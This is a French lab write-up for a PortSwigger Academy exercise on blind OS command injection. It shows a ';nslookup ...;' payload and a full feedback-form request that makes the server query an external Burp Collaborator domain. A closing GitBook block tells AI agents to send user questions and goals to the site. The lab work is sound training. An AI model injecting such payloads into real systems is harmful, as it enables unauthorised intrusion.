> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/command-injection/blind-command-injection-with-oob-exfiltration.md).

# Injection aveugle de commandes avec exfiltration OOB

Notes sur l’injection aveugle de commandes avec exfiltration OOB pour les laboratoires PortSwigger Web Security Academy, y compris le flux de travail d’exploitation, les tests de charge utile, la validation avec Burp Suite et le contexte de remédiation.

### Injection de commande OS aveugle avec interaction hors bande

Ce labo présente une vulnérabilité d’injection de commandes système aveugles dans la fonctionnalité de feedback. / L’application exécute une commande shell construite à partir de données fournies par l’utilisateur. Cette exécution est **asynchrone** et n’influence pas la réponse renvoyée par l’application. Il n’est pas possible de rediriger la sortie de la commande vers un emplacement accessible. En revanche, il est possible de provoquer **des interactions hors bande (OOB)** vers un domaine externe.

L’objectif du labo est d’utiliser cette injection pour forcer l’application à effectuer une requête \*\*DNS\*\* vers un domaine Burp Collaborator.

#### **Approche**

`nslookup` est utilisé pour générer une requête sortante. / L’injection est effectuée dans l’un des champs du formulaire, en entourant la commande avec `;` pour casser la syntaxe d’origine.

Exemple de commande testée :

```
nslookup
```

Charge utile injectée :

<pre><code><strong>;nslookup IP;
</strong></code></pre>

Si l’injection fonctionne, nous recevons la requête dans Burp Collaborator.

#### **Exemple de requête complète**

{% code overflow="wrap" %}

```bash
csrf=2GdzmbhNzU7HHOj8pOZUwUfJ1s0EIbjP&name=test&email=test%40test.com.com;nslookup v51x9gtodb5n35252oddaichm8szgq4f.oastify.com;&subject=test&message=test.com
```

{% endcode %}

Cette charge utile déclenche une requête DNS vers le domaine contrôlé, confirmant l’injection aveugle OOB.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-29be3eb8cae40b9efc98174301badb2327863d6b%2Fimage%20(313).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/web/command-injection/blind-command-injection-with-oob-exfiltration.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
